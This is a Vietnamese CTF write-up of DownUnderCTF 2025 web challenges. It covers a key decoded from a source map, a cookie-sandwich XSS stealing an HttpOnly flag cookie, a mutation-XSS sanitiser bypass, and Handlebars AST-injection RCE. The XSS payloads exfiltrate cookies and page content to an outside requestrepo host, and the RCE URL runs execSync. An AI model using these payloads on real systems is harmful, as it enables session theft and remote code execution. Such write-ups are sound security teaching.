# downUnderCTF 2025 - Part 2 ## Web - mini-me Mã nguồn: ```python from flask import Flask, render_template, send_from_directory, request, redirect, make_response from dotenv import load_dotenv import os load_dotenv() API_SECRET_KEY = os.getenv("API_SECRET_KEY") FLAG = os.getenv("FLAG") app = Flask(__name__, static_folder="static", template_folder="templates") @app.after_request def add_header(response): response.cache_control.no_store = True response.cache_control.must_revalidate = True return response @app.route("/") def index(): return render_template("index.html") @app.route("/login", methods=["POST"]) def login(): return redirect("/confidential.html") @app.route("/confidential.html") def confidential(): return render_template("confidential.html") @app.route("/admin/flag", methods=["POST"]) def flag(): key = request.headers.get("X-API-Key") if key == API_SECRET_KEY: return FLAG return "Unauthorized", 403 ``` khi access đến /admin/flag -> nếu header X-API-KEY chứa api-key đúng thì trả ra flag. ![image](https://hackmd.io/_uploads/HkCNZL6Uge.png) ngoài ra chỉ có `/static/js/main.min.js` là đáng chú ý tuy nhiên trong mã nguồn không có, ta sẽ lấy nó ở trên host deploy và đổi tên thành `test-main.min.js.map`. ``` $ curl https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map {"version":3,"file":"main.min.js.map","sources":["main.js"],"sourcesContent":["function pingMailStatus() {\r\n fetch(\"/api/mail/status\");\r\n}\r\n\r\nfunction fetchInboxPreview() {\r\n fetch(\"/api/mail/inbox?limit=5\");\r\n}\r\n\r\npingMailStatus();\r\nfetchInboxPreview();\r\n\r\ndocument.getElementById(\"start-btn\")?.addEventListener(\"click\", () => {\r\n const audio = document.getElementById(\"balletAudio\");\r\n audio.play();\r\n\r\n document.getElementById(\"start-btn\").style.display = \"none\";\r\n document.getElementById(\"audio-warning\").style.display = \"none\";\r\n\r\n const dancer = document.getElementById(\"dancer\");\r\n const dancerImg = document.getElementById(\"dancer-img\"); // Get the image element\r\n\r\n dancer.style.display = \"block\";\r\n dancerImg.style.display = \"block\"; // Show the image\r\n\r\n let angle = 0;\r\n const radius = 100;\r\n const centerX = window.innerWidth / 2;\r\n const centerY = window.innerHeight / 2;\r\n\r\n function animate() {\r\n angle += 0.05;\r\n const x = centerX + radius * Math.cos(angle);\r\n const y = centerY + radius * Math.sin(angle);\r\n dancer.style.left = x + \"px\";\r\n dancer.style.top = y + \"px\";\r\n\r\n dancerImg.style.left = x + \"px\"; // Sync image movement\r\n dancerImg.style.top = y + \"px\";\r\n\r\n requestAnimationFrame(animate);\r\n }\r\n animate();\r\n});\r\n\r\nfunction qyrbkc() { \r\n const xtqzp = [\"85\"], vmsdj = [\"87\"], rlfka = [\"77\"], wfthn = [\"67\"], zdqo = [\"40\"], yclur = [\"82\"],\r\n bpxmg = [\"82\"], hkfav = [\"70\"], oqzdu = [\"78\"], nwtjb = [\"39\"], sgfyk = [\"95\"], utxzr = [\"89\"],\r\n jvmqa = [\"67\"], dpwls = [\"73\"], xaogc = [\"34\"], eqhvt = [\"68\"], mfzoj = [\"68\"], lbknc = [\"92\"],\r\n zpeds = [\"84\"], cvnuy = [\"57\"], ktwfa = [\"70\"], xdglo = [\"87\"], fjyhr = [\"95\"], vtuze = [\"77\"], awphs = [\"75\"];\r\n const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], \r\n bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], \r\n jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], \r\n zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];\r\n\r\n const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>\r\n String.fromCharCode(\r\n Number(pjgrx) ^ (fkhzu + 1) ^ 0 \r\n )\r\n ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, \"\"); \r\n console.log(\"Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)\");\r\n}\r\n\r\n"],"names":["pingMailStatus","fetch","fetchInboxPreview","qyrbkc","map","pjgrx","fkhzu","String","fromCharCode","Number","reduce","qdmfo","lxzhs","console","log","document","getElementById","addEventListener","play","style","display","dancer","dancerImg","angle","centerX","window","innerWidth","centerY","innerHeight","animate","x","Math","cos","y","sin","left","top","requestAnimationFrame"],"mappings":"AAAA,SAASA,iBACPC,MAAM,kBAAkB,CAC1B,CAEA,SAASC,oBACPD,MAAM,yBAAyB,CACjC,CAsCA,SAASE,SAKc,CAJJ,KAAgB,KAAgB,KAAgB,KAAe,KAAgB,KAC/E,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,MAMzFC,IAAI,CAACC,EAAOC,IAC9BC,OAAOC,aACHC,OAAOJ,CAAK,EAAKC,EAAQ,EAAK,CAClC,CACJ,EAAEI,OAAO,CAACC,EAAOC,IAAUD,EAAQC,EAAO,EAAE,EAC5CC,QAAQC,IAAI,mFAAmF,CACnG,CApDAd,eAAe,EACfE,kBAAkB,EAElBa,SAASC,eAAe,WAAW,GAAGC,iBAAiB,QAAS,KAChDF,SAASC,eAAe,aAAa,EAC7CE,KAAK,EAEXH,SAASC,eAAe,WAAW,EAAEG,MAAMC,QAAU,OACrDL,SAASC,eAAe,eAAe,EAAEG,MAAMC,QAAU,OAEzD,IAAMC,EAASN,SAASC,eAAe,QAAQ,EACzCM,EAAYP,SAASC,eAAe,YAAY,EAKlDO,GAHJF,EAAOF,MAAMC,QAAU,QACvBE,EAAUH,MAAMC,QAAU,QAEd,GAENI,EAAUC,OAAOC,WAAa,EAC9BC,EAAUF,OAAOG,YAAc,EAcrCC,CAZA,SAASA,IACPN,GAAS,IACT,IAAMO,EAAIN,EANG,IAMgBO,KAAKC,IAAIT,CAAK,EACrCU,EAAIN,EAPG,IAOgBI,KAAKG,IAAIX,CAAK,EAC3CF,EAAOF,MAAMgB,KAAOL,EAAI,KACxBT,EAAOF,MAAMiB,IAAMH,EAAI,KAEvBX,EAAUH,MAAMgB,KAAOL,EAAI,KAC3BR,EAAUH,MAAMiB,IAAMH,EAAI,KAE1BI,sBAAsBR,CAAO,CAC/B,EACQ,CACV,CAAC"} ``` ```javascript function pingMailStatus() { fetch("/api/mail/status"); } function fetchInboxPreview() { fetch("/api/mail/inbox?limit=5"); } pingMailStatus(); fetchInboxPreview(); document.getElementById("start-btn")?.addEventListener("click", () => { const audio = document.getElementById("balletAudio"); audio.play(); document.getElementById("start-btn").style.display = "none"; document.getElementById("audio-warning").style.display = "none"; const dancer = document.getElementById("dancer"); const dancerImg = document.getElementById("dancer-img"); // Get the image element dancer.style.display = "block"; dancerImg.style.display = "block"; // Show the image let angle = 0; const radius = 100; const centerX = window.innerWidth / 2; const centerY = window.innerHeight / 2; function animate() { angle += 0.05; const x = centerX + radius * Math.cos(angle); const y = centerY + radius * Math.sin(angle); dancer.style.left = x + "px"; dancer.style.top = y + "px"; dancerImg.style.left = x + "px"; // Sync image movement dancerImg.style.top = y + "px"; requestAnimationFrame(animate); } animate(); }); function qyrbkc() { const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"], bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"], jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"], zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"]; const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]]; const lmsvdt = dhgyvu.map((pjgrx, fkhzu) => String.fromCharCode( Number(pjgrx) ^ (fkhzu + 1) ^ 0 ) ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, ""); console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)"); } ``` để ý hàm `qyrbkc` có note key -> ta sẽ tìm key: ```javascript function decode() { const arr = ["85","87","77","67","40","82","82","70","78","39","95","89","67","73","34","68","68","92","84","57","70","87","95","77","75"]; const decoded = arr.map((val, idx) => String.fromCharCode(Number(val) ^ (idx + 1)) ).join(''); console.log(decoded); } decode(); ``` ![image](https://hackmd.io/_uploads/HJeZmU6Llx.png) API-KEY: `TUNG-TUNG-TUNG-TUNG-SAHUR` get admin flag: ``` curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag -H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR" DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN} ``` flag: `DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}` ## Web - Sweet Treat Mã nguồn Tomcat/jsp, chương trình có chức năng đăng ký đăng nhập và đăng xuất, edit_profile và report user đáng nghi ngờ cho admin sau đó bot sẽ set cookie của mình chứa flag và view_profile user đó -> thực chất thì đây là một bài XSS. `admin-review.jsp`: ```java <%@ page import="java.util.*" %> <%@ page import="java.sql.*" %> <!-- Ignore this section, just for setting up admin sessions --> <% try { Class.forName("org.sqlite.JDBC"); boolean isAdminCookie = false; Cookie[] admincookie = request.getCookies(); if (admincookie != null) { for (Cookie c : admincookie) { if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) { isAdminCookie = true; break; } } } if (isAdminCookie) { session.setAttribute("user", "admin"); System.out.println("Set the Admin session"); Cookie delCookie = new Cookie("admin", ""); delCookie.setMaxAge(0); delCookie.setPath("/"); response.addCookie(delCookie); Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}"); flag.setPath("/"); flag.setHttpOnly(true); response.addCookie(flag); } } catch (Exception e) { out.println("Error setting admin session: " + e.getMessage()); } %> <!-- Ignore this section, just for setting up admin sessions --> <% String userName = (String) session.getAttribute("user"); if (userName == null || !"admin".equals(userName)) { response.sendRedirect("/index.jsp"); return; } System.out.println("Admin Review Page accessed by: " + userName); String lang = "en"; Cookie[] cookies = request.getCookies(); if (cookies != null) { for (Cookie c : cookies) { if ("language".equals(c.getName())) { lang = c.getValue(); } } } String dbURL = "jdbc:sqlite:/opt/directory.db"; String reportedUser = null; String reportTime = null; String aboutMe = null; Connection conn = null; PreparedStatement pstmt = null; ResultSet rs = null; try { Class.forName("org.sqlite.JDBC"); conn = DriverManager.getConnection(dbURL); String sql = "SELECT username, report_time FROM Reports ORDER BY id DESC LIMIT 1"; pstmt = conn.prepareStatement(sql); rs = pstmt.executeQuery(); if (rs.next()) { reportedUser = rs.getString("username"); reportTime = rs.getString("report_time"); } pstmt.close(); rs.close(); // Fetch aboutMe for the reported user if (reportedUser != null) { String aboutSql = "SELECT aboutme FROM users WHERE username = ?"; pstmt = conn.prepareStatement(aboutSql); pstmt.setString(1, reportedUser); rs = pstmt.executeQuery(); if (rs.next()) { aboutMe = rs.getString("aboutme"); } } } catch(Exception e) { out.println("Database error: " + e.getMessage()); } finally { try { if (rs != null) rs.close(); } catch(Exception e) {} try { if (pstmt != null) pstmt.close(); } catch(Exception e) {} try { if (conn != null) conn.close(); } catch(Exception e) {} } String loggedInUser = userName; %> <!DOCTYPE html> <html lang="<%= lang %>"> <head> <title>Admin Review - Directory Application</title> <link rel="stylesheet" href="/styles.css"> </head> <body> <div class="navbar"> <a href="/index.jsp">Home</a> <a href="/edit_profile.jsp">Edit Profile</a> <% if ("admin".equals(loggedInUser)) { %> <a href="/admin/admin-review.jsp">Review Reports</a> <a href="/admin/admin.jsp">Admin Dashboard</a> <% } %> <a href="/logout.jsp">Logout</a> </div> <div class="user-bar"> <span>👤 <%= userName %></span> </div> <div class="profile-container"> <h2>Welcome, <%= userName %></h2> <h3>Last Reported Profile</h3> <% if (reportedUser != null) { %> <div class="profile-card"> <h4>Username: <%= reportedUser %></h4> <div class="about-label">Reported At:</div> <div class="about-content"><%= reportTime %></div> <div class="about-label">About Me:</div> <div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div> </div> <% } else { %> <p>No profiles have been reported yet.</p> <% } %> </div> <footer> <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p> <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p> </footer> </body> </html> ``` Tại đây thì admin sẽ lấy cookie của admin: ```java if (admincookie != null) { for (Cookie c : admincookie) { if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) { isAdminCookie = true; break; } } } ``` nếu cookie có key là admin và value `only-for-automate-not-very-relevant` Sau đó sẽ thực hiện set cookie với flag nếu isAdminCookie được set là true: ```java if (isAdminCookie) { session.setAttribute("user", "admin"); System.out.println("Set the Admin session"); Cookie delCookie = new Cookie("admin", ""); delCookie.setMaxAge(0); delCookie.setPath("/"); response.addCookie(delCookie); Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}"); flag.setPath("/"); flag.setHttpOnly(true); response.addCookie(flag); } ``` Tuy nhiên vấn đề lo lắng ta cần nhắc đến ở đây là `flag.setHttpOnly(true);` ta sẽ không thể truy cập cookie được lưu trong trình duyệt bằng document.cookie - nó sẽ trả ra null. ### Steal cookie with httpOnly https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique Chương trình sẽ không xử lý những kí tự đặc biệt tùy theo web-server, và đối với apache tomcat ở đây chương trình dùng image `FROM tomcat:9.0-jdk11`: https://tomcat.apache.org/tomcat-9.0-doc/config/cookie-processor.html https://cybersecuritynews.com/cookie-sandwich-stealing-httponly-cookies/ điều này cho phép kẻ tấn công thêm cookie có tên $Version hạ cấp các phiên bản cookie để buộc trình duyệt sử dụng bộ xử lý cookie cũ để đọc và hoạt động trên cookie. POC: ```javascript <script> document.cookie = `$Version=1; path=/index.jsp;`; document.cookie = `language="start; path=/index.jsp;`; document.cookie = `end="; path=/`; fetch("/index.jsp").then(function (res){return res.text();}).then( function (html) { fetch("https://mlmdd4pj.requestrepo.com/flag", { method: "POST", body: html.substring(0,135) }); }); </script> ``` Ta sẽ set `language="` và `end="` để chương trình nhầm rằng toàn bộ phần nằm giữa `" và "` là một chuỗi và nó là value của lang. ![image](https://hackmd.io/_uploads/HJky32aLeg.png) ### Steal content in lang attribute `index.jsp` ```java <%@ page import="java.sql.*" %> <% String lang = "en"; Cookie[] cookies = request.getCookies(); if (cookies != null) { for (Cookie c : cookies) { if ("language".equals(c.getName())) { lang = c.getValue(); } } } String loggedInUser = (String) session.getAttribute("user"); // Fetch all users String dbURL = "jdbc:sqlite:/opt/directory.db"; Connection conn = null; PreparedStatement pstmt = null; ResultSet rs = null; java.util.List<String> usernames = new java.util.ArrayList<>(); try { Class.forName("org.sqlite.JDBC"); conn = DriverManager.getConnection(dbURL); String sql = "SELECT username FROM users"; pstmt = conn.prepareStatement(sql); rs = pstmt.executeQuery(); while (rs.next()) { usernames.add(rs.getString("username")); } } catch(Exception e) { out.println("Database error: " + e.getMessage()); } finally { try { if (rs != null) rs.close(); } catch(Exception e) {} try { if (pstmt != null) pstmt.close(); } catch(Exception e) {} try { if (conn != null) conn.close(); } catch(Exception e) {} } %> <%! public String escapeHtml(String s) { if (s == null) return ""; return s.replace("&", "&amp;") .replace("<", "&lt;") .replace(">", "&gt;") .replace("\"", "&quot;") .replace("'", "&#x27;"); } %> <!DOCTYPE html> <html lang="<%= lang %>"> <head> <title>Directory Application - Users</title> <meta charset="UTF-8"> <link rel="stylesheet" href="/styles.css"> </head> <body> <div class="navbar"> <% if (loggedInUser != null) { %> <a href="/index.jsp">Home</a> <a href="/edit_profile.jsp">Edit Profile</a> <% if ("admin".equals(loggedInUser)) { %> <a href="/admin/admin-review.jsp">Review Reports</a> <a href="/admin/admin.jsp">Admin Dashboard</a> <% } %> <a href="/logout.jsp">Logout</a> <% } else { %> <a href="/index.jsp">Home</a> <a href="/login.jsp">Login</a> <a href="/register.jsp">Register</a> <% } %> </div> <div class="directory-title">Directory Application</div> <div class="user-list-container"> <h2>Users</h2> <ul class="user-list"> <% for (String user : usernames) { %> <li><%= escapeHtml(user) %></li> <% } %> </ul> </div> <div class="footer"> <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p> <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p> </div> </body> </html> <style> /* Hide bullets for all user/admin lists */ .user-list, .user-list-admin, .report-list, .admin-user-list { list-style-type: none !important; list-style: none !important; padding-left: 0 !important; margin: 0 !important; } /* Center and style the directory title */ .directory-title { font-size: 2.4rem; color: #2d3a4b; margin: 3.5rem 0 2.5rem 0; letter-spacing: 1px; text-align: center; font-weight: 700; line-height: 1.2; } </style> ``` Mã jsp tương tự vẫn lấy giá trị lang nếu có ở trong cookie và đưa vào attribute lang: ```java String lang = "en"; Cookie[] cookies = request.getCookies(); if (cookies != null) { for (Cookie c : cookies) { if ("language".equals(c.getName())) { lang = c.getValue(); } } } ``` Tại đây thì không có xss vì `username` đã bị html escape rồi: ```java <%! public String escapeHtml(String s) { if (s == null) return ""; return s.replace("&", "&amp;") .replace("<", "&lt;") .replace(">", "&gt;") .replace("\"", "&quot;") .replace("'", "&#x27;"); } %> ``` ```java <% for (String user : usernames) { %> <li><%= escapeHtml(user) %></li> <% } %> ``` Tuy nhiên khi bot view profile của người dùng bị report thì nó fetch thẳng từ db ra mà không escapeHTML ở `admin-review.jsp` ```java <div class="profile-container"> <h2>Welcome, <%= userName %></h2> <h3>Last Reported Profile</h3> <% if (reportedUser != null) { %> <div class="profile-card"> <h4>Username: <%= reportedUser %></h4> <div class="about-label">Reported At:</div> <div class="about-content"><%= reportTime %></div> <div class="about-label">About Me:</div> <div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div> </div> <% } else { %> <p>No profiles have been reported yet.</p> <% } %> </div> <footer> <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p> <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p> </footer> ``` Do đó aboutMe ở đây có của người dính XSS. Và sau khi report thì con bot cũng được trigger luôn: ```java // Handle report profile to admin if ("POST".equalsIgnoreCase(request.getMethod()) && request.getParameter("reportProfile") != null) { try { Class.forName("org.sqlite.JDBC"); conn = DriverManager.getConnection(dbURL); String insertReport = "INSERT INTO Reports (username) VALUES (?)"; pstmt = conn.prepareStatement(insertReport); pstmt.setString(1, username); pstmt.executeUpdate(); pstmt.close(); } catch(Exception e) { out.println("Database error: " + e.getMessage()); } finally { try { if (pstmt != null) pstmt.close(); } catch(Exception e) {} try { if (conn != null) conn.close(); } catch(Exception e) {} } try { java.net.URL url = new java.net.URL("http://xssbot/visit"); java.net.HttpURLConnection con = (java.net.HttpURLConnection) url.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("Content-Type", "application/json"); con.setRequestProperty("X-SSRF-Protection", con.setDoOutput(true); String json = "{\"url\": \"http://sweet-treat:8080/admin/admin-review.jsp\"}"; // 127.0.0.1 when deployed try (java.io.OutputStream os = con.getOutputStream()) { byte[] input = json.getBytes("utf-8"); os.write(input, 0, input.length); } int code = con.getResponseCode(); // Optionally, you can read the response here if needed if (code != 202) { out.println("Error notifying bot: " + code); } else { out.println("Bot notified successfully."); } con.disconnect(); } catch(Exception e) { out.println("Bot notify error: " + e.getMessage()); } } ``` -> Do đó ta sẽ tạo aboutMe ở trên để stored XSS -> rồi bot trigger lang được set chứa cả flag -> và gửi ra ngoài. ![image](https://hackmd.io/_uploads/SJdKAnTIxg.png) ![image](https://hackmd.io/_uploads/rJL9R3TUex.png) ## Web - mutant Challenge xss với mã nguồn dưới với 2 chức năng chính đó là xem index.html và report cho bot -> bot sẽ kiểm tra với input là query người dùng truyền vào: ```python from flask import Flask, render_template, make_response, request import requests import os import urllib.parse app = Flask(__name__) @app.route("/") def index(): return render_template("index.html") @app.route("/bot-login") def bot_login(): if request.args.get("token") != os.getenv("BOT_TOKEN"): return "Invalid token! This url is so the bot can login, it's not part of the challenge" resp = make_response("bot logged in") resp.set_cookie('flag', 'DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}') return resp @app.route("/report", methods=["POST"]) def report(): requests.post(f"{os.getenv("INTERNAL_XSS_BOT_URL")}/visit", json={ "url": os.getenv("BOT_VISIT_URL") + "/?input=" + urllib.parse.quote_plus(request.get_data(as_text=True)) }, headers={ "X-SSRF-Protection": "1" }) return "Reported" if __name__ == '__main__': app.run( host="0.0.0.0", port=1337, debug=False) ``` ```html <!DOCTYPE html> <html> <head> <title>Mutant</title> <style> body { display: flex; margin: 0; width: 100vw; height: 100vh; } .maindiv { margin: auto; } button, input { width: 100%; } textarea { width: calc(100% - 6px); } </style> </head> <body> <div class="maindiv"> <p>Come on, XSS me. Give it your best shot.</p> <form method="GET"> <textarea name="input" rows="20" cols="50" id="mytextarea"></textarea> <br> <input type="submit"> </form> <p>Feeling confident?<br>Report this page, the flag is in <code>document.cookie</code>.</p> <button id="reportbtn">Report this page</button> <br> <p>Your payload below:</p> <code id="myoutputdebug"></code> <br> <div id="myoutput"></div> <script src="{{ url_for('static', filename='main.js') }}"></script> </div> </body> <html> ``` Nội dung của template không có gì đặc biệt ngoài file main.js được include vào. ```javascript const inp = new URLSearchParams(location.search).get("input"); // Reporting stuff reportbtn.addEventListener('click', () => { fetch("/report", { method: "POST", body: inp }).then(r => alert("Successfully reported")).catch(alert); }); // Challenge mytextarea.value = inp; console.log("Original", inp); const t = document.createElement("template"); t.innerHTML = inp; console.log("After injecting into template", t.innerHTML); const nodes = [t.content]; while (nodes.length > 0) { const n = nodes.pop(); console.log("Parsed element", n.outerHTML); if (n.attributes) { while (n.attributes.length > 0) { n.removeAttribute(n.attributes[0].name); } } // Fix XSS reported by our bug bounty community if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) { n.parentNode.removeChild(n); continue; } for (let i = n.children.length - 1; i >= 0; i--) { nodes.push(n.children[i]); } } console.log("After sanitization", t.innerHTML); myoutputdebug.innerText = t.innerHTML; myoutput.innerHTML = t.innerHTML; console.log("Final", myoutput.innerHTML); ``` Dấu hiện xss tại `myoutput.innerHTML = t.innerHTML;` `input` lấy từ searchParamQuery được nhận sau đó nó được innerHTML trong element `template` tuy nhiên template tag sẽ không hiển thị nên ở đây không xss được. Tiếp tục nó lấy toàn bộ các node là content của template sau khi parse và những node có độ dài tên là 6 hoặc 8 hoặc thuộc tính bằng 8 sẽ bị xóa: ```javascript // Fix XSS reported by our bug bounty community if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) { n.parentNode.removeChild(n); continue; } ``` Sau khi santities xong thì innerHTML như ta nói ở đầu. ![image](https://hackmd.io/_uploads/SJDH_6aUgg.png) Ta có thể dùng: ``` <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> ``` Tuy nhiên có node có length là 6 là `mglyph` do đó sẽ bị xóa: ![image](https://hackmd.io/_uploads/H1qtOTaIex.png) Trong bài viết dưới có đề cập ta có thể thay thế `mglyph` bằng `malignmark` - length = 10 cho nên sẽ không bị xóa. ![image](https://hackmd.io/_uploads/rkheYTaIee.png) poc: ``` <form><math><mtext></form><form><malignmark><style></math><img src onerror=alert(1)> ``` ``` <form><math><mtext></form><form><malignmark><style></math><img src=1 onerror="fetch(`https://mlmdd4pj.requestrepo.com/${document.cookie}`)"> ``` ![image](https://hackmd.io/_uploads/HJ3rYT6Ixg.png) flag: `DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}` https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/ ## Web - Request Handling Chương trình chỉ cho Dockerfile như sau: ```dockerfile FROM alpine:latest AS flag-builder WORKDIR /build RUN apk add gcc musl-dev RUN cat <<EOF > getflag.c #include <stdio.h> int main() { printf("DUCTF{test_flag}\n"); } EOF RUN gcc -static getflag.c -o getflag FROM node:22-alpine WORKDIR /app RUN npm init -y && npm install express@4 handlebars RUN cat <<EOF > app.js const express = require("express"); const Handlebars = require("handlebars"); const app = express(); app.get('/', (req, res) => { res.send(Handlebars.compile(req.query.x)({})); }); app.listen(8000, () => console.log('App listening')); EOF COPY --from=flag-builder /build/getflag /getflag RUN chmod 111 /getflag EXPOSE 8000 USER node CMD node app.js ``` `getflag` được compile thành binary và cấp quyền chỉ excute (111) cho tất cả các người dùng -> phải RCE. Server khởi chạy express js với `handlebars`: ```javascript const express = require("express"); const Handlebars = require("handlebars"); const app = express(); app.get('/', (req, res) => { res.send(Handlebars.compile(req.query.x)({})); }); app.listen(8000, () => console.log('App listening')); ``` Và như desciption thì `They patched Handlebars SSTI, there's nothing to worry about.` -> tìm SSTI. https://handlebarsjs.com/api-reference/compilation.html Dễ dàng tìm kiếm được một bài tương tự: https://po6ix.github.io/AST-Injection/#Handlebars Chuyển thành query để prototype: ``` http://localhost:8000/?x[type]=Program&x[body][0][type]=MustacheStatement&x[body][0][path]=0&x[body][0][loc][start]=0&x[body][0][loc][end]=0&x[body][0][params][0][type]=NumberLiteral&x[body][0][params][0][value]=function%20()%20%7Bthrow%20new%20Error(process.mainModule.require(%27child_process%27).execSync(%27/getflag%27).toString())%7D() ``` ![image](https://hackmd.io/_uploads/SJO3RTpLlg.png) flag: `DUCTF{35116296c07966e5f645dac55a0fe81c}` ## Web - sodium Http request smuggling ## Web - file-upload ## Web - More Request Handling ## Web - off dah rails m8 ## Web - legendary